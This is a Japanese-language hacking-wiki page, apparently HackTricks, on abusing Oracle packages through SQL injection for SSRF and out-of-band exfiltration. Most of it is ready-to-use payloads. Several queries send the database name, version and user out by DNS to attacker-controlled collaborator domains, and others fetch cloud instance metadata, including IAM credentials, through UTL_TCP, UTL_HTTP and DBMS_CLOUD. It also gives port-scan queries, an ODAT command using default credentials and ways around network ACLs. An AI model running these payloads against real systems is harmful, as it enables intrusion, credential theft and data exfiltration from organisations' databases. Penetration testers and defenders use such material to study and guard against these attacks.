Oracle injection

Reading time: 15 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

この投稿に対して、https://ibreak.software/2020/06/using-sql-injection-to-perform-ssrf-xspa-attacks/から削除された投稿のWayback Machineコピーを提供してください。

SSRF

Oracleを使用してOut of Band HTTPおよびDNSリクエストを行うことはよく文書化されていますが、これはSQLデータを抽出するための手段としての注入です。これらの技術/関数を常に変更して、他のSSRF/XSPAを行うことができます。

Oracleのインストールは非常に面倒な場合があります。特に、コマンドを試すために迅速なインスタンスをセットアップしたい場合はなおさらです。私の友人であり、Appseccoの同僚であるAbhisek Dattaが、私にhttps://github.com/MaksymBilenko/docker-oracle-12cを教えてくれました。これにより、t2.largeのAWS UbuntuマシンとDocker上にインスタンスをセットアップすることができました。

私は、ブログ投稿の期間中にOracleをフルネットワークアクセスでネイティブインストールとして模倣できるように、--network="host"フラグを使用してdockerコマンドを実行しました。

docker run -d --network="host" quay.io/maksymbilenko/oracle-12c

URLまたはホスト名/ポート番号指定をサポートするOracleパッケージ

ホストとポートの指定をサポートするパッケージや関数を見つけるために、Oracle Database Online DocumentationでGoogle検索を行いました。具体的には、

site:docs.oracle.com inurl:"/database/121/ARPLS" "host"|"hostname" "port"|"portnum"

検索は以下の結果を返しました(すべてがアウトバウンドネットワークを実行するために使用できるわけではありません)

  • DBMS_NETWORK_ACL_ADMIN
  • UTL_SMTP
  • DBMS_XDB
  • DBMS_SCHEDULER
  • DBMS_XDB_CONFIG
  • DBMS_AQ
  • UTL_MAIL
  • DBMS_AQELM
  • DBMS_NETWORK_ACL_UTILITY
  • DBMS_MGD_ID_UTL
  • UTL_TCP
  • DBMS_MGWADM
  • DBMS_STREAMS_ADM
  • UTL_HTTP

この粗い検索は明らかに DBMS_LDAP のようなパッケージをスキップしています(これはホスト名とポート番号を渡すことを許可します)ドキュメントページは単に別の場所を指しています。したがって、私が見逃したかもしれないアウトバウンドリクエストを行うために悪用できる他のOracleパッケージがあるかもしれません。

いずれにせよ、私たちが発見し、上にリストしたパッケージのいくつかを見てみましょう。

DBMS_LDAP.INIT

DBMS_LDAP パッケージはLDAPサーバーからデータにアクセスすることを可能にします。init() 関数はLDAPサーバーとのセッションを初期化し、ホスト名とポート番号を引数として取ります。

この関数は以前にDNSを介してデータを抽出することを示すために文書化されています。以下のように

SELECT DBMS_LDAP.INIT((SELECT version FROM v$instance)||'.'||(SELECT user FROM dual)||'.'||(select name from V$database)||'.'||'d4iqio0n80d5j4yg7mpu6oeif9l09p.burpcollaborator.net',80) FROM dual;

しかし、この関数はホスト名とポート番号を引数として受け取るため、ポートスキャナーのように機能させることもできます。

いくつかの例を示します。

SELECT DBMS_LDAP.INIT('scanme.nmap.org',22) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',25) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',80) FROM dual;
SELECT DBMS_LDAP.INIT('scanme.nmap.org',8080) FROM dual;

ORA-31203: DBMS_LDAP: PL/SQL - Init Failed. は、ポートが閉じていることを示しているが、セッション値はポートが開いていることを指している。

UTL_SMTP

UTL_SMTP パッケージは、SMTPを介して電子メールを送信するために設計されています。提供された例は、Oracleのドキュメントサイトでこのパッケージを使用して電子メールを送信する方法を示しています。しかし、私たちにとって興味深いのは、ホストとポートの指定を提供する能力です。

粗い例は、タイムアウトが2秒の UTL_SMTP.OPEN_CONNECTION 関数を使用して以下に示されています。

DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',80,2);
END;
DECLARE c utl_smtp.connection;
BEGIN
c := UTL_SMTP.OPEN_CONNECTION('scanme.nmap.org',8080,2);
END;

ORA-29276: transfer timeout はポートが開いているが、SMTP接続が確立されていないことを示し、ORA-29278: SMTP transient error: 421 Service not available はポートが閉じていることを示します。

UTL_TCP

UTL_TCP パッケージとその手続きおよび関数は、サービスとのTCP/IPベースの通信を可能にします。特定のサービス用にプログラムされている場合、このパッケージはネットワークへの侵入や、TCP/IP接続のすべての側面を制御できるため、完全なサーバーサイドリクエストを実行する手段となることがあります。

Oracleのドキュメントサイトの例では、このパッケージを使用して生のTCP接続を作成し、ウェブページを取得する方法が示されていますこちら。これをもう少し簡略化して、メタデータインスタンスや任意のTCP/IPサービスにリクエストを送信するために使用することができます。

set serveroutput on size 30000;
SET SERVEROUTPUT ON
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('169.254.169.254',80,tx_timeout => 2);
retval := utl_tcp.write_line(c, 'GET /latest/meta-data/ HTTP/1.0');
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;
/
DECLARE c utl_tcp.connection;
retval pls_integer;
BEGIN
c := utl_tcp.open_connection('scanme.nmap.org',22,tx_timeout => 4);
retval := utl_tcp.write_line(c);
BEGIN
LOOP
dbms_output.put_line(utl_tcp.get_line(c, TRUE));
END LOOP;
EXCEPTION
WHEN utl_tcp.end_of_input THEN
NULL;
END;
utl_tcp.close_connection(c);
END;

興味深いことに、生のTCPリクエストを作成する能力により、このパッケージはすべてのクラウドプロバイダーのインスタンスメタデータサービスにクエリを送信するためにも使用できます。メソッドタイプと追加ヘッダーはすべてTCPリクエスト内で渡すことができます。

UTL_HTTPとWebリクエスト

おそらく、すべてのOut of Band Oracle SQL Injectionチュートリアルで最も一般的で広く文書化されている技術は、UTL_HTTPパッケージです。このパッケージは、文書によれば次のように定義されています - UTL_HTTPパッケージは、SQLおよびPL/SQLからHypertext Transfer Protocol (HTTP) コールアウトを行います。これを使用して、HTTPを介してインターネット上のデータにアクセスできます。

select UTL_HTTP.request('http://169.254.169.254/latest/meta-data/iam/security-credentials/adminrole') from dual;

このクエリのように、基本的なポートスキャンを実行するためにもこれを使用できます。

select UTL_HTTP.request('http://scanme.nmap.org:22') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:8080') from dual;
select UTL_HTTP.request('http://scanme.nmap.org:25') from dual;

ORA-12541: TNS:no listener または TNS:operation timed out は、TCPポートが閉じていることを示すサインであり、ORA-29263: HTTP protocol error またはデータは、ポートが開いていることを示すサインです。

私が過去に使用した別のパッケージは、さまざまな成功を収めた GETCLOB() メソッドの HTTPURITYPE Oracle 抽象型 で、URLと対話し、HTTPプロトコルをサポートします。GETCLOB() メソッドは、URLからのGETレスポンスを CLOBデータ型 として取得するために使用されます。

SELECT HTTPURITYPE('http://169.254.169.254/latest/meta-data/instance-id').getclob() FROM dual;

追加パッケージと技術 (Oracle 19c → 23c)

UTL_INADDR – DNSベースの情報漏洩とホスト発見

UTL_INADDR は、データベースホストからの外部DNSルックアップをトリガーするシンプルな名前解決ヘルパーを公開します。ドメインのみが必要で(ポート/ACLは不要)、他のネットワークコールがブロックされている場合の盲目的な情報漏洩に対して信頼できるプリミティブです。

sql
-- Leak the DB name and current user via a DNS query handled by Burp Collaborator
SELECT UTL_INADDR.get_host_address(
(SELECT name FROM v$database)||'.'||(SELECT user FROM dual)||
'.attacker.oob.server') FROM dual;

get_host_address() は解決されたIPを返します(解決に失敗した場合は ORA-29257 を発生させます)。 攻撃者は、コード実行を確認するために、制御されたドメインでの受信DNSリクエストを監視するだけで済みます。

DBMS_CLOUD.SEND_REQUEST – Autonomous/23cの完全なHTTPクライアント

最近のクラウド中心のエディション(Autonomous Database、21c/23c、23ai)には DBMS_CLOUD が付属しています。 SEND_REQUEST 関数は、カスタム動詞、ヘッダー、TLS、大きなボディをサポートする汎用HTTPクライアントとして機能し、従来の UTL_HTTP よりもはるかに強力です。

sql
-- Assuming the current user has CREATE CREDENTIAL and network ACL privileges
BEGIN
-- empty credential when no auth is required
DBMS_CLOUD.create_credential(
credential_name => 'NOAUTH',
username        => 'ignored',
password        => 'ignored');
END;
/

DECLARE
resp  DBMS_CLOUD_TYPES.resp;
BEGIN
resp := DBMS_CLOUD.send_request(
credential_name => 'NOAUTH',
uri             => 'http://169.254.169.254/latest/meta-data/',
method          => 'GET',
timeout         => 3);
dbms_output.put_line(DBMS_CLOUD.get_response_text(resp));
END;
/

SEND_REQUESTが任意のターゲットURIを許可するため、SQLiを介して以下のように悪用される可能性があります:

  1. 内部ポートスキャン / SSRFをクラウドメタデータサービスに対して。
  2. HTTPS経由のアウトオブバンドの情報漏洩(Burp Collaboratorまたはngrokトンネルを使用)。
  3. ACLによって古いコールアウトパッケージが無効にされていても、攻撃者のサーバーへのコールバック。

ℹ️ もしクラシックなオンプレミスの19cしか持っていないが、Javaストアドプロシージャを作成できる場合、OCIクライアントバンドルからDBMS_CLOUDをインストールできることがあります — 一部のエンゲージメントで便利です。

ODATを使用した攻撃面の自動化

ODAT – Oracle Database Attacking Toolは、最新のリリースに対応しています(19c、5.1.1 – 2022年4月までテスト済み)。 –utl_http–utl_tcp–httpuritype、および新しい–dbms_cloudモジュールは自動的に:

  • 使用可能なコールアウトパッケージ/ACLの権限を検出します。
  • ブラインド抽出のためにDNSおよびHTTPコールバックをトリガーします。
  • Burp/SQLMap用のコピー可能なSQLペイロードを生成します。

例:デフォルトのクレデンシャルを使用した迅速なOOBチェック(バックグラウンドでACLの列挙を処理します):

bash
odat all -s 10.10.10.5 -p 1521 -d XE -U SCOTT -P tiger --modules oob

最近のネットワークACLの制限とバイパス

Oracleは2023年7月のCPUでデフォルトのネットワークACLを厳格化しました — 権限のないアカウントはデフォルトでORA-24247: network access denied by access control listを受け取ります。SQLiを通じてコールアウトを許可する2つのパターンがあります:

  1. 対象アカウントが開発者によって統合のために追加されたACLエントリ(DBMS_NETWORK_ACL_ADMIN.create_acl)を所有している。
  2. 攻撃者がすでにAUTHID DEFINERと必要な権限を持つ高権限のPL/SQL定義者権限ルーチン(例:カスタムアプリケーション内)を悪用する。

エクスプロイト中にORA-24247に遭遇した場合は、常に再利用可能な手続きを探してください:

sql
SELECT owner, object_name
FROM   dba_objects
WHERE  object_type = 'PROCEDURE'
AND  authid       = 'DEFINER';

(多くの監査では、少なくとも1つの報告/エクスポート手続きが必要な権限を持っていました)。


参考文献

  • Oracle Docs – DBMS_CLOUD.SEND_REQUEST パッケージの説明と例。
  • quentinhardy/odat – Oracle Database 攻撃ツール(最新リリース 5.1.1, 2022年4月)。

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする